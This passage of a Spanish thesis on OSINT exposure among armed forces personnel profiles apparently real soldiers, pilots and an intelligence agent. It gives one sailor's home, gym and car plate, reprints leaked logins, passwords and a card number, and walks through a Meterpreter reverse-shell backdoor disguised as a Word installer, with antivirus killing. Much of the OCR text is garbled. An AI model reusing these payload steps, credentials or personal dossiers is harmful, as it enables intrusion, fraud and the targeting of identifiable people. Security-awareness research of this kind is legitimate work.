e Sujeto 69: A diferencia del sujeto anterior, dicho sujeto se encuentra presente en las
distintas redes sociales como se puede ver reflejado por la herramienta Maltego (Figura

i
| Tow
i
i
i
|
|
i
|
i
|
i
i
|
s A |
s TR Eoete ising SSarof Endioet \ !
ToWebste using Search Engie]- 15735211 = o i \ !
£ 7 A2 [ - !
T Ta 1 !
: g 0 i
1 ! E
WWW www www www ! :
i
| i
www.facebookcom www.linkedin.coni esla.facebookcom eslinkedin.com | !
i
. ¥ Y 4 | |
[
1 i
o WWwW www www | |
A 4
vt 2 A
WWW.EXpansion.com . .. globalservicesbt.com www.empresia.es ipmap.info
www
www.boe.es
www

www.bt.es

Figura 3-34 Exploracion del sujeto 69 a través de Maltego.

Como se puede identificar en la imagen, el sujeto 69 forma parte del personal de las FAS,
ya que se puede comprobar en el BOE, que proporciona el DNI.
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Figura 3-35 Presentacion del sujeto 69 en LinkedIn.

Como se puede apreciar en la Figura 3-35, ademas de la informacion obtenida en los nodos
de la red, su perfil de LinkedIn expone publicamente todos los destinos y elementos de
mando que ha ejercido.

Este sujeto no es el Unico, ya que se ha apreciado durante la realizacion del presente
trabajo que la red social LinkedIn es la méas utilizada en ese margen de edad.

3.4 Exploracion fuera del entorno-exploracion en redes sociales

Uno de los grandes fallos de seguridad encontrados en el desarrollo de este trabajo ha sido ver la
enorme cantidad de informacion que el personal de las Fuerzas Armadas, vuelca voluntariamente a las
redes sociales, con el fin de colaborar con paginas cuya tematica esta relacionada con las Fuerzas
Armadas. Sin embargo, se trata de paginas no oficiales que trabajaran para ensalzar o alabar la figura
de los ejércitos de Espafia y son los propios miembros de las Fuerzas Armadas quienes complementan
o incluso rellenan el material disponible en dichas paginas.

Tras la investigacion en las distintas paginas de dicha tematica, se ha observado que se cumplen
los estudios iniciales, en los que se destacaba la participacion principalmente de integrantes de corta o
mediana edad, en los que se comprenderia hasta el empleo de capitanes/tenientes de navio, pasando
por alumnos de escalas de soldado profesional, escala de suboficiales y escalas de oficiales de todos
los ejércitos de Espana.

Durante dicha exploracion, el guion que se ha seguido ha sido el desarrollo de la bdsqueda en
torno a dichas paginas. Es de especial relevancia resaltar que casi en su totalidad, estas paginas se
encuentran abiertas al publico y que es el boca a boca lo que las hace famosas, ya que no cuentan con
el amparo del Ministerio de Defensa.

También, es de especial relevancia destacar, que el principal hecho motivante de la publicacién en
las distintas redes sociales es el ego [74] [75]. Este puede relacionarse directamente con unos de los
principios de un ataque de ingenieria social. De esta forma, el desconocimiento por parte de la
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sociedad espafiola sobre el personal de las Fuerzas Armadas es el iniciante del proceso que, conducido
por el ego, lleve a la imprudencia de publicar material en redes sociales de forma que se publiquen
fotos o informacion que puedan comprometer a la persona/unidad o sus integrantes.

Dentro de las Fuerzas Armadas existen distintos gabinetes de prensa cuya misién fundamental
(entre otras) es dar a conocer las labores de las FAS. La publicacion de material independiente no hace
maés que poder causar el efecto contrario, en lo que a marketing e imagen de las FAS refiere, asi como
al vertido de informacion innecesaria.

3.4.1 Exploracion en redes sociales

A continuacién, se exponen distintos casos encontrados en las redes sociales, en los que su
publicacién puede suponer un riesgo importante y se encuentra reflejado su negativa en el codigo
penal militar.

e El caso del Teniente piloto: Este sujeto tiene una cuenta de Instagram en la que facilmente
se puede ver su dia a dia que muestra orgulloso. Esta no es su labor, ya que en la mayoria
de las iméagenes se vuelve susceptible de ser victima de un ataque.

Figura 3-36 Fotografias obtenidas a través de Facebook del teniente piloto junto con la avionica de F-18 'y
apaga incendios en segundo lugar.

En la Figura 3-36, en la primera foto, el piloto se encuentra volando en un F-18 (biplaza, lo
que hace pensar que no es piloto habitual de dicho aparato). En los comentarios, se puede
leer incluso su nuevo destino que seria Torrejon de Ardoz (donde se encuentran el Ala 12 y
el Ala 43), informacion de por si interesante, si bien la importancia radica en el cuadro de
la avidnica del F-18, cuya clasificacion de seguridad es secreto. En cuanto a la segunda
foto, dicho piloto festeja su actividad en los incendios de Galicia (lo resefia en la foto, es
piloto del Ala 43). Destaca de esta foto que los mandos del avién de incendios, utilizados
por el ejército del aire, carecen de clasificacion de seguridad secreto.

| S |

Figura 3-37 Fotografias de aviénica de helicoptero y avién F-18 en bunker de espera.
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Se puede plantear que quizas en la fotografia sea dificil sacar informacion. Anteriormente,
ya se han utilizado fotografias para saber qué tipo de armamento pueda llevar o no una
plataforma. Destaco el ejemplo del debate [19] suscitado por la capacidad real de los
submarinos israelies de la clase Dolphin. Dichos submarinos fueron construidos por los
astilleros alemanes Howaldtswerke-Deutsche Werft, cuyos planos fueron clasificados de
confidenciales, Unicamente conocidos por astillero y cliente. Sobre esta clase de
submarinos se especularia sobre la capacidad de portar misiles de mas calibre que el
calibre estandar de 533 mm. Sin embargo, a través de una foto vertida a fuentes abiertas se
pudo apreciar a 0jo experto que montaba cuatro lanzadores cuyo calibre era superior, de
650 mm, lo que produjo que dicho submarino se le presumiesen distintas capacidades de
las inicialmente especuladas.

Otro ejemplo, relacionado con el armamento desplegado o con potencial de ser desplegado,
fue el motivo de réplicas a nivel internacional a Rusia, ya que se descubrio que, en contra
de lo declarado una semana antes, en el que declaraban que retirarian los aviones de Siria
movieron los aviones de ubicacion para que no pudieran tomar fotos satélites del lugar y
aumentaron el nimero de estos [76].

Ambos ejemplos citados pueden ser perfectamente relacionados con las imagenes
anteriormente mostradas. Ademas, este sujeto podria ser objeto de ataque mediante
vectores como la confianza de la victima para subir acompafiantes a cabinas del avion
(Figura 3-38).

Este vector utilizado por HAMAS contra soldados israelies, aprovechandose de la
confianza de estos para obtener informacion [73].

L

Figura 3-38 Piloto con personal civil en cabina de uso militar.

Como conclusion final de dicho sujeto, destaca la facilidad con la que se sube material
secreto a las redes sociales asi como el poco trato de cuidado que se les da a estas.

Como ultimo ejemplo, se muestra la cabina de un AC-130, obtenida del mismo sujeto
(Figura 3-39).
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[

Figura 3-39 Cabina de un C-130.

e El caso del Capitan piloto: En este caso, se trata de un piloto que no tiene dificultad para
subir cualquier tipo de informacion a paginas relacionadas anteriormente. A diferencia del
anterior piloto cuyas publicaciones eran practicamente escasas, no tiene ningin problema
en compartirlo todo.

Se graba con su movil en la cabina (Figura 3-40 y Figura 3-41), realizando despegues o
muestra maniobras realizadas con el avion. A diferencia del anterior, no muestra el
instrumental de los aparatos que maneja, aunque facilita su apellido (al igual que el
anterior). Sabiendo esto, se puede hacer mineria de datos sobre este sujeto con el fin de
obtener informacion.

A través de sus fotos sabemos que estuvo desplegado en el aeropuerto de Trapani, que se
encuentra en Sicilia que es uno de los aeropuertos utilizados por la OTAN, como alerta
temprana y del cual sabe, a través de Internet, que Espafia cuenta con F-18 desplegados
alli.

257 Me gusta

Figura 3-40 Fotografias obtenidas a través del Instagram del piloto.

Resulta de especial importancia destacar que este piloto se muestra activo a la hora de
contestar preguntas que los distintos usuarios le hacen en sus fotos. Destaca el nimero de
vuelos que realiza el sujeto, aparte de indicar a través de etiquetas informacién como su
destino, el aparato que vuela o similares.

Destacamos también que el F-18 es un avion que tiene modelo monoplaza y biplaza.

Resulta curioso que el otro piloto del avion es el del ejemplo anterior. Por lo tanto, se

podria obtener la dotacion de dos pilotos de la aeronave de préacticas (ya se ha resefiado que
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el primer piloto se trata de un piloto de otro Ala), ya que las biplaza son utilizadas con esa

finalidad. Ademas de saber sus dos nombre y apellidos, por fotos anteriores se puede
obtener la numeral del avién volado.

Hl ==

Figura 3-41 Fotografias tomadas desde movil del piloto despegando en solitario.

Las etiquetas se utilizan para proporcionar la mayor cantidad de informacion. Aunque las
preguntas contestadas puedan pasar desapercibidas, resultan de especial interés cuando el
piloto se encuentra desplegado en la zona de operaciones como en el ejemplo del
aeropuerto de alerta temprana utilizado por la OTAN. Destacamos de este, que fue
utilizado por los pilotos de la OTAN para realizar misiones sobre el suelo de Libia.
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Figura 3-42 Fotografia del piloto junto a su avion.

De la fotografia de la Figura 3-42 destacamos la situacion donde fue tomada, asi como la
cantidad de etiquetas que nos pueden volcar informacion y la numeral del avion.

e El soldado de Canarias 50: Se identifica como tirador de precision de dicha unidad y
vuelca a las redes sociales, informacion tal como su especialidad, misiones y demas.
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Figura 3-43 Fotografia obtenida a través de Instagram de las maniobras del tirador.
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Estas imagenes (Figura 3-43) que pueden dafiar la imagen de las Fuerzas Armadas y
pueden ser utilizadas como chantaje para no ser publicadas en un periddico o medio
similar. Ademas, se ha conseguido el nombre y apellidos del sujeto.
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Figura 3-44 Diploma tirador selecto.

En la Figura 3-44 se puede apreciar la firma y el nombre del Coronel del regimiento.

e El caso del agente del CNI: Las redes sociales no perdonan a cualquiera. Es el caso del
sujeto de estudio, del que se presupone una forma de actuar sigilosa y alejada del ego de las
redes sociales, aunque proporciona nombre y apellidos, e incluso su alias (Figura 3-45).

Aunque protege su perfil de una forma que él considera provechosa. Sin embargo, se puede
deducir ciertos lazos o relaciones con personal adyacente.

©® Presentacion

& Agente de Campo en Centr
Inte!
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Compartr

=8

Figura 3-45 Perfil del miembro del CNI.

Otro hecho a destacar es que una mujer comenta sus fotos. Si se investiga el perfil, se
descubre que siempre tiene fotos con el que se presupone su pareja y que el sujeto nunca se
encuentra etiquetado en esas fotos y nunca comenta. Esto se puede deber a que guarden
cierta relacion o que la relacion sea inexistente. Sea como sea, existe datos suficientes para

continuar investigando a dicho sujeto.
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3.4.2 Utilizacion de herramientas OSINT

e Creepy: Durante la utilizacion de esta herramienta, el modo de actuar ha sido mediante la
cuenta de Twitter de alguno de los sujetos 0 mediante la exploracién de zonas donde haya
personal de las FAS.

En el primero de los casos, se procede a explorar el Arsenal de Cartagena. Cabe destacar
que debido a la movilizacién y repulsa en las distintas redes sociales se ha recortado las
capacidades de dicha herramienta, no permitiendo su uso en la red de Instagram. Por otra
parte, destacamos que dicha red es de la més utilizadas por el personal de las FAS. De esta
forma utilizamos un plug in de Twitter que ofrece la herramienta.

Asi al efectuar dicha herramienta sobre la posicion del Arsenal de Cartagena se puede
apreciar que la publicacion de la Figura 3-47 se ha realizado justo en frente del Arsenal de
Cartagena (Figura 3-46). En consecuencia, se procede a estudiar el objetivo.
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Figura 3-46 Creepy sobre Cartagena.
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Figura 3-47 Tuit del sujeto a estudio.

Tras ver en su perfil, se puede observar que se trata de un marinero. EI mismo sujeto es
capaz de darnos a través de su perfil los datos de teléfono, correo y ubicacion. Es decir,
ahorra un gran trabajo a la hora de poder preparar cualquier tipo de ataque sobre dicho
objetivo.
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Figura 3-48 Confirmacion de identidad mediante Instagram.

Entre otras de las curiosidades, se puede obtener de su perfil la matricula junto con el
modelo de su coche (Figura 3-49).

Figura 3-49 Informacion del sujeto.

Si se quisiera efectuar cualquier tipo de ataque sobre dicho sujeto, se pasaria dentro de la
herramienta Creepy a buscar informacion del sujeto en lugar de hacer una busqueda de
area.

De esta forma, al focalizar la busqueda sobre un objetivo, somos capaces de ver la rutina
del sujeto, la ubicacion actual o incluso si va al gimnasio seriamos capaces de conocer la
ubicacion del mismo. Tras efectuar dicho tipo de bdsqueda, obtenemos la ubicacion del
trabajo del mismo, gimnasio, la ubicacion de su vivienda, o su vivienda en Valencia, lugar
de origen del sujeto. También se obtiene su lugar de estudios, tanto militares como civiles.
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Figura 3-50 Patron de movimiento.
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Figura 3-51 Maximos puntos de emision.

Se puede apreciar en la Figura 3-50 y Figura 3-51 los patrones de movimiento del sujeto.

En su caso, de Cartagena se puede saber lugar de trabajo, el cual se sabria mediante el tuit
inicial. En la Figura 3-52 se observa el lugar de la vivienda y el gimnasio.
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Figura 3-52 Vivienda desde donde se envian los tuits y gimnasio del sujeto.

Al ejecutar la herramienta sobre la posicion de la Escuela Naval Militar no se obtiene
ningun tuit sobre la localizacion. Aunque en los aledafios si se ha encontrado material de
personal de la Armada Espafiola, siendo mas preciso el de uno de los alumnos de la
Escuela Naval Militar, cuyo contenido versaba sobre iméagenes del adiestramento a flote de
los alumnos de la escuela.

e Foca: La unica forma de usar esta herramienta es mediante la obtencion de metadatos que

no hayan sufrido alguna clase de modificacion, como imagenes obtenidas de Google Drive,
Dropbox o correo electrénico.
Asi, se utiliza Foca para ver la informacion que se podria obterner mediante el correo
inicial en el archivo que acompafia al correo “interceptado”. Es decir, es una herramienta
de mucha ayuda si se intercepta un correo o bien se ejecuta alguna clase de malware
dentro de una plataforma y se obtienen archivos que puedan ser analizados. La Figura 3-53
muestra una imagen de una captura de Dropbox.
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. Fota 18-2-17 9 38 22pg Hace 1 min Solo ti
HIPERVINCULOS-fuentes.docx 28/1/2017 2111 Solo tu

Figura 3-53 Ejemplo de imagen en Dropbox.

En este caso, se observa una de las imagenes con titulo de fecha. Procedemos a analizarla
mediante la herramienta y seobtiene el resultado de la Figura 3-54.

ﬂ- Project ]- Report 'Tools 5 Options (3 TaskList E‘]Plugms g‘Abuut

=@ No project
= Metwork Attribute Value i
72z Domains Exif Makernote
(¥ Roles
@ Vulnerabilities Make Apple =
-7 Metadata Model iPhone 6s 1
[=] Documerts {1/1) Crientation Right side, top (Rotate 50 CW)
B & jpg(l) X Resolution 72 dots perinches |
(=1, Foto 18-2-17 9 38 22jpg Y Resolution 72 dots perinches
e Other Metadata Resolution Unit Inches
i Software Seftware 1021
L# BaF
e Date/Time 2017:02:18 09:38:22
- Metadata Summary
T YCbCr Positioning Center of pixel amay
g Users ()
i[53 Folders (0) Exposure Time 1/17 sec
{2 Printers (0} F-Number F22
‘;) Software (0) Exposure Program Program nomal
£ Emails (0 150 Speed Ratings 500
£ Operating S.ystems o) Exif Version 22
By Passwords (7) Date/Time Original 2017:02:18 09:38:22
i--(§ Servers (0) . [— "
Date/Time Digitized 2017:02:18 09:38:22
Components Configuration YCbCr
Shutter Speed Value 1/16 sec
[ VR oo S

Figura 3-54 Datos a destacar de la extraccion.

= Project  {= Report ools 7 Options askList ugins &’ About
Proj Rep Tool 5 Op &/ TaskLi Plug Ab
B 4\@,‘ No project
~+um) Network Adtribute Value e~
- Domains
(¥ Roles GPS Makernote
(@ Vunerabilities GPS Latitude Ref N
= Metadata GPS Latitude 42"16%6,38
&7, Documents (1/1) GPS Longitude Ref w
E“CT:_" B0 romm GPS Longitude §'4817.75
: R Ot Moty T GPS Afftude Ref Sea level
Software GPS Aftitude 3833/1341 metres
LW BaF GPS Time-Stamp 8:38:189 UTC
== Metadata Summary GPS Speed Ref kph
- g8 Users (0} GPS Speed 0
@ Folders (0} GPS Img Direction Ref Magnetic direction
() Printers (1) GPS Img Direction 32227/151 degrees
- " est Bearing lagnetic direction
63 sotvere 0 GPS Dast Bearng Fef Magreti
" est Bearing 7 egrees
B OD:;:”Q) Syetems () GPS Dest B 32227/151
% Passwords (0} .
[ Servers (0) Thumbail
Picture

Figura 3-55 Geolocalizacion destacable.

Como se aprecia de la informacién obtenida, se puede obtener el modelo de plataforma
desde el que se ha tomado la imagen. Si se quisiera realizar un ataque mediante malware,
saber el tipo de plataforma a atacar facilitaria la estrategia a seguir. En este caso, la
plataforma es un IPhone 6S. Otro dato interesante es la fecha, en el caso de ser un
documento de texto, apareceria la fecha original y nos mostraria otra fecha en el caso de
que el documento haya sido modificado.
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Entre los otros datos de la Figura 3-55 destaca la latitud y longitud de donde fue tomada
dicha foto, lo que puede ser un problema a la hora de subir cualquier tipo de foto o enviarla
por correo de forma andnima. También muestra la altura de la foto, cero, ya que fue
tomada dentro de un patrullero a nivel del mar.

e Google Dorks: Durante la utilizacion de Google Dorks, no se ha obtenido ningun tipo de
perfil que guarde relacion con personal de las FAS. Sin embargo, durante el presente
trabajo, se han realizado busquedas con Google Dorks y obtenido diversa informacion de
interés como usuarios y cuentas de redes sociales, de almacenamiento en la red y
plataformas intermediarias monetarias. La Figura 3-56 muestra como una empresa real y
contrastada vuelca a la red informacion de usuarios y contrasefias de sus empleados, entre
otras informaciones.

Client Domain Internet Service Provider Domain Access File Transfer Protocol
Information Registrar Server Hosted by Internet Domain Name | Login ID | Password FTP Host Name
or IP Address
Dempsey Communications, LLC Web.com Infinology.com www . mi randapub . com DJDEMPSEY| DJD353 win7.infinology.net
Main: 770.392.7100 2 years Premium Plan - 1st yr WebMaster@mirandapub com Login Password
David J. Dempsey Acct# Acct# PostMaster@mirandapub.com djdempse
Home: 770-569-5199 yyyymamdd 2004MAR30 to 2005MAR3L MLCarter@mirandapub.com email
DJDempsey@coleman-dempsey.com help@infinology.com DJDempsey@mirandapub.com |  email
Suite-1257 dns? infinclogy net MCollins@mirandapub.com email
#2 Ravinia 38.118 142 212 Kathy@mirandapub com email
Atlanta, GA 30348 dnsl.infinclogy.net
AX 372718399911004 Exp: 07/05 38.118.142.211 help@infinology com
1st Year: $95.40 POP3: mail.mirandapub.com . /faq/
SMTP: mail.mirandapub.com . ./cpmannal/
Dempsey Communications, LLC Web.com Infinology.com www.legallyspeak.com DJDEMPSEYZ DJD3532 win7.infinology.net
Main: 770.292.7100 2 years Premium Plan - 1st yr WebMaster@legallyspeak.com Login Password
David J. Dempsey Acct# Acct# Postiaster@legallyspeak.com djdemps0 [ ]
Home: 770-569-5199 yyyymamdd 2004MAR28 to 2005MAR29 MLCarter@legallyspeak.com email
DJDempseyi@coleman-dempsey.com help@infinology.com DJDempsey@legallyspeak.com| email
Suite-1257 dns2.infinology.net MCollins@legallyspeak.com email
#2 Ravinia 38118 142 212
Atlanta, GA 30348 dnsl infinology met
AX: 372718399911004 Exp: 07/05 38 118 142 211 help@infinology com
1st Year: $95.40 BOBZ: mail legallyspezk com .. [faq/
SMTP: mail.legallyspeak.com .. /cpmanual/

Figura 3-56 Ejemplo de fichero extraido por Google Dorks.

La Figura 3-57 ensefia como una persona muestra informacion personal y de los perfiles de
Su empresa.

http://www.youtube.com/watch?y=tNMcs-IsQV0&list=PL2ESDOASBS7D0D24A& eature=view all

Modula 2 Adrian Pelagz TOP

http://www.youtube.com/watch?v=0Q-411QVIQ0&list=PLFDcSOIYLIIIWhIF-urhsCoBBGEVII3c&feature=view all

Wix

gabriel gallardo@hotmail.com

Posgrado de Deportes a distancia

Dropbox
info@cursosdekinesiologia.com

Modulo 1 Woduio 2 S vodlo ¢ (ex)
Usuario posgradodeportes posgradodeportes deportes2013' => ‘jsud’, posgradodeportes
Password ] ‘test' => 'hdus’,

'posgradodeportes2012' == 'hsys'
Modulo 5 Acupuntura Modulo 6 Modulo Pelaez Solo Posturologia Nivel Inicial Posturologia Nivel Avanzado
posgradodeportes posgradodeportes
2013 posturologia
| I

Osteopatia Abordaje del ceraneo 25/06/2013

craneo pelvis

terapia terapia

L

Figura 3-57 Ejemplo de cuentas extraidas por Google Dorks.

Se observa que entre las cuentas destaca el empleo de Dropbox, por lo que la opcion de
investigar al sujeto mediante el empleo de metadatos es factible. En cuanto a la Figura
3-58, se pueden apreciar las distintas plataformas utilizadas por el usuario teniendo acceso
a todas ellas.
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formutana 2 CursosdeKine llega a info@cursosdekine

Fomulano 50 anos Formulano Paraguay
Cédiga identficativo formulano:  50_Aniversario_TF_USAL
Asunto Ficha de inorpcion 50 aniversano de TF en USAL codiga identficativo. paraguay

Desiino néo@aatl org ar liega - paraguay@cursosdekinesiologia com

Linkedin

Twitier

Twiler physioedy Info@cursosdekinesiclogis.com

Youtube

curos@cursosdeking cursosdekinesiologia@gmail.com usuano canalp Usuario posgradadepories2012
L | A comasefia hitp/ 81987342908 featuresedit ok  Pass —

Google Groups

Figura 3-58 Ejemplo 2 de cuentas extraidas por Google Dorks.

Se puede pensar para qué se pueden usar estos perfiles, ya que los sujetos no son miembros
de las Fuerzas Armadas. Sin embargo, dichos perfiles cuentan con unos afios de servicio
dentro de las distintas redes sociales. Ademas, también cuentan con seguidores (Figura
3-59) y ambas cosas pueden ser muy valiosas si se decidiera a usarse vector de ataque para
acercarse a otras victimas. Asi, se ahorrara el paso de hacer un perfil creible.

€ Cc &

W

. D001

- S
)_\

Figura 3-59 Insercidn en cuenta de Twitter extraida por Google Dorks.

A modo de conclusion sobre Google Dorks, sirve como facilitador para hacer ataques.
Ademas, también en Google Dorks se puede acceder a imagenes de seguridad de centros
comerciales, comercios, viviendas, urbanizaciones e incluso acuartelamientos.

Dentro de la obtencién de imagenes por parte de Google Dorks, destaca que es necesario
que el servidor de imagenes donde se vuelca la informacion esté conectado a la red. Esto
no pasa con los acuartelamientos militares espafioles. En la Figura 3-60 las principales
camaras encontradas.
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= Watch Vivotek camera in Spain,Mataro -
Watch Axis camera in Spain,Zaragoza : ° pain;als Watch Foscam camera in Spain,Santa Pola

Figura 3-60 Imagenes extraidas por Google Dorks.

3.5 Ejemplo de ingenieria social y ciberataque
Durante este apartado se explica el ciberataque dirigido sobre un compafiero.

En este caso, el ataque se efectta dentro de la red de la Escuela Naval Militar. A continuacion, se
explican los pasos y de como se realiza y de como se realizaria si se tratase de uno de los sujetos
anteriormente citados.

3.5.1 Creacion de una necesidad en el sujeto

Durante este proceso, es necesario entrar dentro de la atmdsfera de control del sujeto. Es decir, si
queremos efectuar un ataque, no es tan facil como llegar y decirle al sujeto que introduzca un pendrive
0 que ejecute un programa. Si se hace de esa forma el ataque estd abocado al fracaso, ya que puede
suscitar dudas o desconfianza en el sujeto.

Para el ejemplo efectuado, he elegido un compafiero de la quinta brigada.

Para crear una necesidad puede ayudar conocer los gustos del sujeto. En los ejemplos anteriores,
los sujetos a estudio exponian publicamente sus gustos, hobbies, deseos y demas.

Para ello, aprovechando la realizacion del TFG, se le propondréa a la victima la instalacion del
nuevo Microsoft Word, motivacién suficiente para que caiga en la trampa. A simple vista sera un
ejecutable, pero, a partir de este, comenzaré el ciberataque dirigido sobre dicho sujeto.

3.5.2 Creacidn de un ciberataque dirigido

El método de ataque elegido es la creacion de un backdoor, que nos permitiré el acceso a cualquier
informacién que el sujeto tenga en su ordenador. Como curiosidad, la mayoria de los antivirus,
detectan el troyano y no dejan abrir el archivo o directamente lo borran. en este caso, el antivirus del
sujeto no ha sido capaz de detectarlo. Méas adelante se explica como camuflarlo a través de un simple
binder.

Para la creacion del backdoor, se utiliza el sistema operativo Kali Linux. Sobre este, se ejecutan
una serie de comandos que se describen a continuacion.
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Applications v Places v B3 Terminal v Wed 15:09

root@kali: ~

)

File Edit View Search Terminal Help

@ W v TR =R

Show Applications

Figura 3-61 Obtencion de la IP en Kali Linux.
A pesar de que Kali Linux es un sistema operativo muy versatil para estudiar la seguridad de una
plataforma, lo Unico que se utiliza sera el Metasploit Framework.

Por ahora, lo Unico que hacemos es obtener la direccion IP de la méaquina con la finalidad de que la
informacidn sea vertida sobre dicha direccién (Figura 3-61).

Llegados a este punto, es necesario conocer los puertos que el sujeto atacado tiene disponibles. De
esta forma, se destaca que una buena practica a realizar por los usuarios es controlar los puertos que
estos puedan estar abiertos.

root@kali: ~

:~# msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=192.168.1.10
LPORT=2626 -f exe -o/root/Desktop/instalador+word.exe

™
e
&
&
E
=
B8

Figura 3-62 Uso de comandos en Kali Linux.
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Como se puede ver (Figura 3-62), utilizamos la herramienta de msfvenom (herramienta
dependiente de Metasploit Framework), para generar un payload en una plataforma Windows de 64
bits.

A continuacion, se indica el tipo conexion entre la plataforma atacante y la atacada. De esta forma,
se indica mediante LHOST, la direccidon IP que recibe la informacion, el puerto y, tras esto, creamos el
fichero ejecutable y su direccion fisica.

Otra opcidn, dentro de las maltiples que existen, es afiadir un encoder, cuya funcion es camuflar el
payload. De esta forma, la funcion del encoder es aumentar el grado de dificultad de poder localizarlo.
Siempre que se quiera realizar un ataque de forma profesional es necesario que vaya acompafiado de
distintos encoders. Una vez que el antivirus analiza el archivo, su es nula, porque ya queda registrado
en las bibliotecas de malware.

Para facilitar el ataque se llama al ejecutable “Instalador+ Word.exe”. Es curioso que el Microsoft
Word tenga una extension .exe y con tan poco tamafio. En la Figura 3-63 se puede ver dicho ejecutable
creado en el escritorio del sistema.

root@kali: ~ @ ® 0

File Edit View Search Terminal Help
ze: 510 bytes
of exe file: 7168 bytes

oot/ top/instalador+word.exe
# msfconsole

aging credentials? Check out bruteforcing
oit Pro -- learn more on http://rapid7.com/metasploit

|
liary - 272 post ]
455 pay - encod - 8 nops ]
[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Figura 3-63 Apertura de Metasploit en Kali Linux.

Una vez generado el fichero, abrimos la herramienta Metasploit Framework, que ofrece una
cantidad considerable de payloads, y exploits.

msf > use multi/handler

msf exploit(WEARAUER) > set PAYLOAD windows/x64/meterpreter/reverse tcp
PAYLOAD => windows/x64/meterpreter/reverse tcp

mst exploit(NERALEE) > set LHOST 192.168.1.161

LHOST => 192.168.1.101

msf exploit(NEAALER) > set LPORT 2020

PORT => 2020

Figura 3-64 Uso de comandos dentro de Metasploit.

Dentro de Metasploit Framework utilizamos la herramienta multi/handler, que permite conectar
con el payload. Dentro del mismo se establece el equipo local (LHOST) y su puerto (LPORT)como se
ve en la Figura 3-64.
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El siguiente paso es hacer el archivo accesible a la victima. Para ello subirlo a una plataforma
como Dropbox puede servir como buen punto de intercambio (Figura 3-65). Otra forma de transferirlo
es mediante una memoria USB.

Ampliar cuenta @ promocion 417
:‘: Dropbox 5 3 Buscar
T) Recientes Nombre Ultima modificacion Miembros
Archivos

SIMTAC

Subidas desde cdmara - -
~ 0:200

Varios

@) solicitar archivos videos Crucero LXXXVII

Archivos eliminados 1676 - Pokemon - Edicion Verde Hoja (S).gba 28/11/2015 15114

cfl.dropboxstatic.com.url 6/12/2016 09:44

instalador+word.exe Hace1s

uda  Privaci PokEmon Verde Hojagba 12/11/201523:32 &

kzd Firefox automatically sends some data to Mozilla so that we can improve your experience. |Choose What | Share | x

Figura 3-65 Archivo malware subido a Dropbox.

Ahora solo es necesario que la victima descargue el archivo.

Tras descargarlo, solo queda esperar que su antivirus no detecte el malware. A continuacion, en la
Figura 3-66 se puede ver la eficacia del malware, baja, ya que es detectado por los principales
antivirus.

» total

SHA256: a2fd7a39d5869d6b1fc68064134427187a2be 11c31b56c dedeBBbafecaf09fBs b
Nombre: instalador+werd exe

=3
Detecciones 25/58 .I O

Fecha de andlisis:  2017-02-16 10:36:53 UTC ( hace 0 minutos )

©
o

&= Andlisis = @ Detalles @ Informacion adicional ~ #® Comentarios &) Votos
Antivirus Resultado Actualizacion
AVG Crypt_rAKH 20170215
Avast Win64:Eva-gen [Susp] 20170216
Avira (no cloud) TRICrypt. XPACK.Gen7 20170216
CAT-QuickHeal Trejan.Dynamer 54605 20170216
CrowdStrike Falcon (ML) malicious_confidence_100% (D) 20170130
Cyren adef26IEldorado 20170218
ESET-NOD32 a variant o 64/Rozena.J 20170216
Endgame malicious (high confidence) 20170216
F-Prot 'W64/S-c4adef26IEldorado 20170216

Fortinet W64/Rozena. Jitr 20170216
GData Win64.Trojan. Rozena A 20170216
Ikarus Backdocr ShellCodeF 20170218
Invincea backdoor win32 berbew.dll 20170203
Jiangmin Trojan Generic fxrt 20170216
K7AntiVirus Trojan ( 004faeB81 ) 20170216

Figura 3-66 Captura de pantalla de Virustotal efectuado sobre archivo malware [77].

Solo tendremos que esperar a su ejecucion, no sin antes haber ejecutado el exploit en el terminal de
Metasploit (Figura 3-67).
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root@kali: ~ @ ® O

File Edit View Search Terminal Help
raging credentials? Check out forcing
loit Pro -- learn more on htt pid7.com/metasploit

- 272 post
- nops ]
al: http://r-7.co/trymsp 1]

«64/meterpreter/reverse tcp

- on 192.168.1.101:2020

8.1.10
.101:2

“
A
020 -> 192.168.1.102:50412) at

meterpreter >

Figura 3-67 Apertura de backdoor en terminal.

Se puede apreciar que, tras ejecutar el exploit, la comunicacion queda establecida.

Cabe destacar, que el archivo, puede ejecutarse en distintas plataformas al mismo tiempo, de forma
que se encuentren distintas sesiones iniciadas a la vez, pudiendo ser esta alterada en cualquier
momento.

Una vez ejecutado, la victima percibira que no ha ocurrido nada tras la ejecucion. Sin embargo, si
accede al administrador de tareas, vera que se esta ejecutando el archivo en segundo plano. De esta
forma si para el proceso, el backdoor desaparece.

Como solucion a ello, una vez abierta la conexion, se puede acceder a su administrador de tareas, y
migrar el proceso a otro proceso necesario del sistema. Un ejemplo seria “explorer.exe”.

El siguiente paso es ejecutar el comando killav. Dicho comando permite, terminar con cualquier
proceso relacionado con sus antivirus.

Los pasos citados son recomendables siempre que se quiera realizar un backdoor de forma
correcta.

Una vez ejecutado esto, desde el menu meterpreter (del payload que se encuentra en uso) podemos
escalar privilegios de administrador.

En la Figura 3-68 se puede ver la plataforma victima con el nombre de usuario. Se puede incluso
conocer el tipo de plataforma usado. Esto es til a la hora de preparar otro ataque sobre la victima. Hay
que destacar que el directorio variara en funcion de donde tenga guardado el archivo la victima. En
este caso, el lugar donde se encuentra albergado el archivo es el escritorio.
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root@Kali: ~ e 0 0

File Edit View Search Terminal Help
: i (1189423 bytes) to 1 B
n 1 opened (192. .1.101:2020 -> .1.102:50412) at

+0000 MTAC
+0000 Call Of Juarez. Gunslin

> +0000 DAEMON Tools Lite.lnk
9 +0000 .url
+0000

oF 4 +0000

- -02-02 13:02:48 +0000
100777/r y 68 fil -02- 15: 8 +0000
100666/ v - 853 L 2013-10- P:51:21 +0000

meterpreter > |j

Figura 3-68 Backdoor en la maquina objetivo.

Dentro del escritorio, se puede ver la distinta informacidén del usuario. Para navegar por las
carpetas basta con los comandos bésicos de Linux. Dentro del escritorio se pueden apreciar varios
juegos, un montador y lector de imagenes, el ejecutable creado y un BRIEFING SIMTAC ¢
(simulador tactico).

Como curiosidad, si el usuario atacado tratase de eliminar el ejecutable obtendria un error y la
unica forma de borrarlo seria como se ha explicado anteriormente.

El objetivo es obtener el maximo de informacion. En este caso, el usuario tiene informacion que
puede resultar provechosa.

Es momento de pensar qué puede ocurrir si se realiza este tipo de ataque sobre un miembro de las
FAS, desplegado en zona de operaciones donde la informacién manejada a diario puede causar graves
trastornos en el personal.

